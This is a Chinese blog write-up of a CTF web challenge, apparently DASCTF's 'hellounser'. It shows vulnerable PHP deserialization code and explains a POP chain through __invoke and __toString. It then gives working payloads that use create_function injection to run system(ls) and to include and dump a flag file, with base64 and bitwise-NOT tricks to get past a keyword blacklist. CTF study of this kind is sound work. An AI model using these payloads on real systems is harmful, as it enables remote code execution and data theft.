当前位置:   article > 正文

DASCTF Sept X 浙江工业大学秋季挑战赛 hellounser_[dasctf sept x 浙江工业大学秋季挑战赛]xxc

[dasctf sept x 浙江工业大学秋季挑战赛]xxc

我傻逼,当时没做出来,赛后看wp才理解,正则也要复习复习了

<?php
class A {
    public $var;
    public function show(){
        echo $this->var;
    }
    public function __invoke(){
        $this->show();
    }
}
class B{
    public $func;
    public $arg;
    public function show(){
        $func = $this->func;
        if(preg_match('/^[a-z0-9]*$/isD', $this->func) || preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log/i', $this->arg)) { 
            die('No!No!No!'); 
        } else { 
            include "flag.php";
            //There is no code to print flag in flag.php
            $func('', $this->arg); 
        }
    }
    public function __toString(){
        $this->show();
        return "<br>"."Nice Job!!"."<br>";
    } 
}

if(isset($_GET['pop'])){
    $aaa = unserialize($_GET['pop']);
    $aaa();
}
else{
    highlight_file(__FILE__);
}
?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37

首先能出flag的地方只有B里show函数的文件包含部分,怎么调用这个show函数?同B类的__toString调用了,如何调用__toString?

__toString 当一个对象被当作一个字符串被调用。

对象当作字符串用,A里的show函数,输出var就是输出字符串,所以把这个var定义为B的对象,即可触发__toString,这个输出var是A的show方法,__invoke就会调用这个show方法

__invoke() 当脚本尝试将对象调用为函数时触发

下面的把pop接收后反序列化给 a a a ,而后 aaa,而后 aaa,而后aaa(),就满足了把对象当函数用

现在链子清楚了,我们可以看看如何构造命令,正则意思是func从开头到字母不能是纯数字或字母,i是大小写都匹配,s是匹配任何空白符号(空格,制表),D是结尾不是换行符号。这里很好绕过,比如含有一个_即可绕过。或者开头换行符号都可以

$arg过滤了一大堆东西,都满足就会包含flag.php,然后func作为函数名,两个参数一个空一个arg

这里可以使用create_function()这个函数,这个函数会创建匿名函数,内部会跟eval差不多的功能,所以代码注入

return(1);}任意代码;//

我们先看下目录

<?php
class A {
    public $var;   
}
class B{
    public $func;
    public $arg;
}
$a=new A;
$a->var=new B;
$a->var->func="create_function";
$a->var->arg='return(1);}system(ls);//';
echo serialize($a);
?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14

Tru3flag.php应该就有真flag,包含此文件并输出,这里直接写会因为含有flag被正则过滤,所以需要编码后,输出

<?php
class A {
    public $var;   
}
class B{
    public $func;
    public $arg;
}
$a=new A;
$a->var=new B;
$a->var->func="create_function";
$a->var->arg='return(1);}require(base64_decode(VHJ1M2ZsYWcucGhw));var_dump(get_defined_vars());//';
echo serialize($a);
?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14

返回一个包含所有已定义变量列表的多维数组,var_dump则是输出这个多维数组内容

还有一种取反的方法,我写的payload老是错,分段写比较好,但是我还是写一起了

<?php
class A {
    public $var;   
}
class B{
    public $func;
    public $arg;
}
$a=new A;
$a->var=new B;
$a->var->func="create_function";
$a->var->arg='return(1);}require(~('.strval(~('php://filter/read=convert.base64-encode/resource=Tru3flag.php')).'));//';
echo urlencode(serialize($a));
?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14

这里对伪协议取反,然后strval转化成字符串,两边的点是为了把这个取反后的字符串跟两端代码连接在一起。不分开连,直接写字符串,会被认为是整体的一串字符,然后被正则过滤,因为取反后有许多不可见字符,因此需要url编码

得到的base64代码,解码即出flag

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/喵喵爱编程/article/detail/900749
推荐阅读
相关标签
  

闽ICP备14008679号